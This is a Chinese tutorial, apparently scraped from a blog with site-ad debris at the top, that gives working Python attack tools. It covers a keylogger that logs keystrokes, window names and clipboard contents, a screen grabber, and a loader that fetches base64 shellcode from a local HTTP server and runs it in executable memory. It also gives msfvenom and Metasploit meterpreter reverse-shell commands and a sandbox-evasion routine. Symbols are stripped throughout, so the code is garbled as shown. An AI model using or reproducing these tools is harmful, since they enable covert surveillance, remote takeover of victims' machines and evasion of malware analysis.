2026/4/15 5:30:34
网站建设
项目流程
东莞高端商城网站建设,潍坊知名网站建设服务商,网站建设交流群,网站名字要备案吗有趣的键盘记录思路做键盘记录的话#xff0c;核心就是用 Python 代码实现#xff1a;用户按键盘时能实时记录下输入的内容#xff0c;还能知道这些输入是在哪个窗口里发生的#xff0c;另外也要能检测到用户有没有用粘贴功能#xff08;比如按 CtrlV 或者右键粘贴#x…有趣的键盘记录思路做键盘记录的话核心就是用 Python 代码实现用户按键盘时能实时记录下输入的内容还能知道这些输入是在哪个窗口里发生的另外也要能检测到用户有没有用粘贴功能比如按 CtrlV 或者右键粘贴。我们要实现功能有1、锁定用户在那个窗口操作和窗口名字是什么2、记录用户输入的内容3、用户复制什么东西也要记录他复制什么内容4、一直记录用户输入的数据根据四个主要问题就要判断需要用到哪些模块用户与系统交互的from pynput import keyboard # Python 程序监听键盘事件记录按键或模拟键盘操作自动按键实现与键盘的交互控制。 from ctypes import * #用于调用 C 语言编写的动态链接库DLL/SO实现 Python 与 C 代码的交互 import pythoncom # Python 中实现 Windows COM组件对象模型 相关的操作 import win32clipboard # Windows 剪贴板操作模块的语句代码from pynput import keyboard # Python 程序监听键盘事件记录按键或模拟键盘操作自动按键实现与键盘的交互控制。 from ctypes import * #用于调用 C 语言编写的动态链接库DLL/SO实现 Python 与 C 代码的交互 import pythoncom # Python 中实现 Windows COM组件对象模型 相关的操作 import win32clipboard # Windows 剪贴板操作模块的语句 user32 windll.user32 #用户和系统桌面交互的操作 kernel32windll.kernel32 #核心系统服务模块。例如创建进程分配进程分配内存等 psapiwindll.psapi #取进程和系统状态信息 例如可以查看进程详细信息 current_window copy_contentNone def get_window_name(): #获取桌面的句柄句柄是桌面的身份证根据这个句柄可以精准找到桌面 hwnduser32.GetForegroundWindow() #定义 ctypes 无符号整型变量 pidc_uint(0) #根据句柄获取到该桌面的进程ID并且存入指定的pid中并且该函数存入是固定内存地址通过指针只想这个pid user32.GetWindowThreadProcessId(hwnd, byref(pid)) #创建一个缓冲区 executbalecreate_string_buffer(b\x00,512) #打开刚刚获得进程ID打开进程 0x400 查看进程信息 0x10 读取进程内存 False 表示不继承句柄返回是一个打开进程的权限 h_processkernel32.OpenProcess(0x400 | 0x10 ,False, pid.value) #获取可执行文件的名字存入刚刚定义的缓冲区 psapi.GetModuleBaseNameA(h_process,None,executbale,512) windows_namecreate_string_buffer(b\x00,512) #根据句柄读取桌面的名字 user32.GetWindowTextA(hwnd,windows_name,512) pidf{pid.value} executbaleexecutbale.value.decode(gbk) windows_namewindows_name.value.decode(gbk) print(fPID:{pid}\t\t可执行文件名{executbale}\t\t桌面名字{windows_name}) return def open_v(): #打开剪切板 win32clipboard.OpenClipboard() #获取剪切板里面的内容 Windows 剪贴板格式常量 open_clipwin32clipboard.GetClipboardData(win32clipboard.CF_UNICODETEXT) #关闭 win32clipboard.CloseClipboard() print(f剪切板{open_clip}) return def on_press(key): global copy_content global current_window #获取桌面的句柄 hwnduser32.GetForegroundWindow() windows_namecreate_string_buffer(b\x00,512) #获取桌面的名字 user32.GetWindowTextA(hwnd,windows_name,512) window_namewindows_name.value.decode(gbk) #这里就算判断用户每一次输入桌面是不是没有变如果更换了就打印出新的桌面名 if window_name !copy_content: copy_contentwindow_name get_window_name() try: #判断用户按下键 charkey.char if char and 32ord(char)127: current_window char #当按下特殊就会报错进行except except AttributeError: #当用户输入回车打印出用户的内容 if key keyboard.Key.enter: print(f用户输入的内容{current_window}) current_window keystr(key).replace(key.,) print(f用户输入的内容{key}) if __main__ __name__: #获取桌面名字和可执行文件名 get_window_name() #个全局热键快捷键的注册定义用户进行复制了程序需要读取复制里面的内容 host_keykeyboard.GlobalHotKeys({ ctrlv: open_v }) #开启守护线程,开启单独一个线程一直运行等待用户输入快捷键会应用主程序当主程序结束他也自动结束 host_key.daemonTrue #线程开启 host_key.start() #开启监听当按下键进行自己定义的函数 listenerkeyboard.Listener(on_presson_press) #开启线程 listener.start() #进入一个无限的消息处理循环。 pythoncom.PumpMessages()结果截取屏幕快照思路截取屏幕的思路和键盘记录有一些一样的思路1、指定桌面的句柄这次获取的桌面句柄和上一样不一样本次获取桌面句柄是基于window桌面的而上一个是基于用户使用的桌面2、获取window桌面大小位置3、创建位图对象并且和windows桌面大小位置都要一样4、把window桌面的像素复制到创建位图里面然后保存5、释放内存整个流程可以比喻成画画例如1、获取window桌面句柄2、获取桌面大小前两步比较好理解3、根据桌面的句柄获取给桌面画画的笔 设备上下文 称为DC)4、将获取画笔转换为人工的(python可以识别)5、根据画笔创建一个画板5、创建一个画纸并且大小和桌面一样6、把画纸保存画板上7、将桌面的像素复制到画纸上并且保存代码import win32gui #管理图形界面接口 import win32ui #用户界面绘制接口 import win32con #1. 窗口样式如 WS_VISIBLE 可见窗口2. 消息类型如 WM_CLOSE 关闭窗口3. 按键 / 鼠标常量如 VK_ENTER 回车键 import win32api #1. 键盘 / 鼠标模拟按键 / 点击2. 注册表操作3. 系统权限 / 进程 / 内存基础操作4. 调用任意 Windows API 基础系统调用、硬件/系统级信息获取 from ctypes import windll user32 windll.user32 #获取window桌面句柄 hwdesktopwin32gui.GetDesktopWindow() #声明我要桌面真实的尺寸 user32.SetProcessDPIAware(True) #获取桌面宽、高、x、y轴 widthwin32api.GetSystemMetrics(win32con.SM_CXVIRTUALSCREEN) heigthwin32api.GetSystemMetrics(win32con.SM_CYVIRTUALSCREEN) leftwin32api.GetSystemMetrics(win32con.SM_XVIRTUALSCREEN) topwin32api.GetSystemMetrics(win32con.SM_YVIRTUALSCREEN) #获取整个 Windows 桌面的设备上下文用于后续的图形绘制操作。称为DC desktopwin32gui.GetWindowDC(hwdesktop) #获取的DCpython识别不了需要转换成python可以识别 img_dcwin32ui.CreateDCFromHandle(desktop) #创建一个与指定设备上下文兼容的内存设备上下文用于在内存中进行离屏绘图操作。 mem_dcimg_dc.CreateCompatibleDC() #创建一个与指定设备上下文兼容的位图Bitmap作为内存中的图像存储缓冲区。 screenwin32ui.CreateBitmap() #创建一个位图与桌面一样的大小的位图 screen.CreateCompatibleBitmap(img_dc,width,heigth) #将位图保存在内存中 mem_dc.SelectObject(screen) #执行一次位块传输操作将源设备上下文中的指定矩形区域图像复制到目标设备上下文中。 mem_dc.BitBlt((0,0),(width,heigth),img_dc,(left,top),win32con.SRCCOPY) #将复制的图片保存 screen.SaveBitmapFile(mem_dc,1.bmp) mem_dc.DeleteDC() img_dc.DeleteDC() win32gui.DeleteObject(screen.GetHandle())结果Python方式的shellcode执行思路代码工作流程访问服务器上的payload保存在缓冲区中把缓冲区里面的内容转换为可执行函数然后执行实现shellcode执行这个payload制作我是在kali中的metasploit工具制作的1、访问payload并获得payload里面内容2、将payload里面内容存入到创建的缓冲区中3、将缓冲区里面的内容转换可执行函数并执行代码import ctypes import base64 from urllib import request kernel32ctypes.windll.kernel32 def get_url(url): resqrequest.urlopen(url) shellcodebase64.b64decode(resq.read()) resq.close() return shellcode def write(buf): lengthlen(buf) #设置函数返回类型为通用指针。确保 Python 能正确接收 Windows API 返回的内存地址 kernel32.VirtualAlloc.restype ctypes.c_void_p #定义各个位置的类型 kernel32.RtlMoveMemory.argtypes ( ctypes.c_void_p, ctypes.c_void_p, ctypes.c_size_t ) #定义分配位置长度和权限0x3000是提交并保留内存 0x40是可读可执行可写 ptrkernel32.VirtualAlloc(None,length,0x3000,0x40) #将缓冲区的分配到可以执行的ptr上面 kernel32.RtlMoveMemory(ptr,buf,length) return ptr def run(shellcode): bufferctypes.create_string_buffer(shellcode) #把获取可以执行的缓冲区 shellwrite(buffer) functionctypes.cast(shell,ctypes.CFUNCTYPE(None)) function() if __main__ __name__: url http://192.168.235.128:8080/shell.bin shellcodeget_url(url) run(shellcode)在kali上面运行metasploit工具输入msfvenom -p windows/x64/meterpreter/reverse_tcp LHOSTkali的ip地址 LPORT自定义端口 -f raw | base64 -w 0 shell.bin重新打开一个终端输入msfconsole地址和ip和端口都要和刚刚定义一致use exploit/multi/handler set PAYLOAD windows/x64/meterpreter/reverse_tcp set LHOST kaliIP地址 set LPORT 端口 exploit在重新打开一个终端开启服务器python -m http.server 8080结果运行脚本输入execute -f calc沙盒检测思路脚本的功能判断是人工使用的系统还是自动化根据鼠标双击、单击和键盘来判断是不是真人使用如果检测出非人就会退出去报警判断人工使用的要求时间关必须30秒内有操作防快速分析数量关必须随机按10-25次键、点5-25次鼠标防无交互环境模式关必须有双击但不能太规律防简单模拟因为机器操作比较有规律很容易检测出来代码# 导入随机数模块用于生成随机的操作阈值 import random # 导入系统模块用于退出程序 import sys # 导入ctypes模块用于调用Windows底层API import ctypes # 导入时间模块用于获取时间戳、计算时间差 import time # 初始化全局变量记录鼠标左键点击次数 mouse_clicks0 # 初始化全局变量记录键盘按键次数仅可打印字符 keyboard_clicks0 # 加载Windows的kernel32.dll库用于调用系统时间相关API kernel32ctypes.windll.kernel32 # 加载Windows的user32.dll库用于调用用户输入键鼠相关API user32ctypes.windll.user32 # 定义LASTINPUTINFO结构体对应Windows API的LASTINPUTINFO结构用于获取用户最后一次输入的时间 class LastInput(ctypes.Structure): # 定义结构体字段 # cbSize结构体的大小必须初始化否则API调用失败 # dwTmie注意此处是笔误正确应为dwTime存储用户最后一次输入的时间戳以系统开机为基准的毫秒数 _fields_ [ (cbSize, ctypes.c_int), (dwTmie,ctypes.c_ulong) ] # 定义函数获取用户最后一次输入键鼠操作距离当前的毫秒数 def get_click(): # 创建LastInput结构体实例 last_inputLastInput() # 初始化结构体大小将结构体的字节数赋值给cbSize字段Windows API要求必须设置 last_input.cbSizectypes.sizeof(last_input) # 调用user32.dll的GetLastInputInfo API获取最后一次输入时间并写入结构体的dwTmie字段 # ctypes.byref(last_input)传递结构体的内存地址给API让API能写入数据 user32.GetLastInputInfo(ctypes.byref(last_input)) # 调用kernel32.dll的GetTickCount API获取系统开机至今的总毫秒数 run_timekernel32.GetTickCount() # 计算用户空闲时长当前系统运行时长 - 最后一次输入时间 elapsedrun_time-last_input.dwTmie # 打印用户空闲时长 print(f用户最后一次使用的{elapsed}毫秒) # 返回空闲时长毫秒 return elapsed # 定义函数检测全局键鼠按下事件返回操作时间戳无操作返回None def get_key_press(): # 声明使用全局变量鼠标点击数、键盘点击数 global mouse_clicks, keyboard_clicks # 遍历所有虚拟键码0~255覆盖所有键鼠按键 for i in range(0,0xff): # 检测按键状态GetAsyncKeyState返回327690x8001表示按键当前按下且自上次调用后按过 if user32.GetAsyncKeyState(i) 32769: # 若键码为0x1鼠标左键 if i 0x1: # 鼠标点击数1 mouse_clicks 1 # 返回当前时间戳秒用于后续计算时间差 return time.time() # 若键码为可打印ASCII字符32键码127排除功能键/鼠标键 elif i32 and i127: # 键盘按键数1 keyboard_clicks 1 # 若未检测到有效键鼠操作返回None return None # 定义核心函数沙箱检测通过键鼠行为判断是否为真人操作 def shell_run(): # 生成随机阈值模拟真人操作的随机性避免固定值被机器破解 max_mouse_clickrandom.randint(5,25) # 鼠标左键点击的最大阈值5~25次 max_keyboard_clickrandom.randint(10,25) # 键盘按键的最大阈值10~25次 double_click0 # 初始化双击计数 max_double_click10 # 双击的最大阈值10次 double_click_threak0.25 # 双击时间阈值两次点击间隔≤0.25秒判定为双击 mouse_click_threak30000 # 最大空闲阈值30000毫秒30秒超过则判定为非真人 first_clickNone # 记录第一次双击的起始时间戳 previous_clickNone # 记录上一次键鼠操作的时间戳 # 获取初始空闲时长 last_clickget_click() # 初始判断若用户已空闲30秒以上直接退出程序沙箱特征无真人操作 if last_clickmouse_click_threak: sys.exit(0) # 无限循环持续检测键鼠操作直到满足真人条件或触发退出逻辑 while True: # 检测键鼠操作获取操作时间戳无操作则为None keyprocessget_key_press() # 条件1检测到有效操作keyprocess非None且有上一次操作记录previous_click非None if keyprocess is not None and previous_click is not None: # 计算两次操作的时间差秒 elapsedkeyprocess - previous_click # 打印两次操作的时间差 print(fUNK{elapsed}UNK) # 判断是否为双击两次操作间隔≤0.25秒 if elapsed double_click_threak: # 双击计数1 double_click 1 # 若为第一次双击记录起始时间戳 if first_click is None: first_clicktime.time() # 若双击次数达到最大阈值 else: if double_click max_double_click: # 判断双击总耗时当前操作时间 - 第一次双击时间 ≤ 10*0.252.5秒高频双击机器操作 if keyprocess-first_click (max_double_click*double_click_threak): # 判定为机器操作退出程序 sys.exit(0) # 打印当前累计的鼠标点击数、键盘点击数、双击数 print(mouse_clicks,keyboard_clicks,double_click) # 判断是否满足真人条件鼠标、键盘、双击数均达到阈值 if mouse_clicks max_mouse_click and keyboard_clicks max_keyboard_click and double_click max_double_click: # 满足条件退出函数结束检测 return # 更新上一次操作时间戳为当前操作时间戳 previous_clickkeyprocess # 条件2仅检测到有效操作首次操作无上次操作记录 elif keyprocess is not None: # 初始化上一次操作时间戳为当前操作时间戳 previous_clickkeyprocess # 执行核心沙箱检测函数 shell_run() # 若函数正常返回满足真人条件打印验证通过提示 print(f你是真人)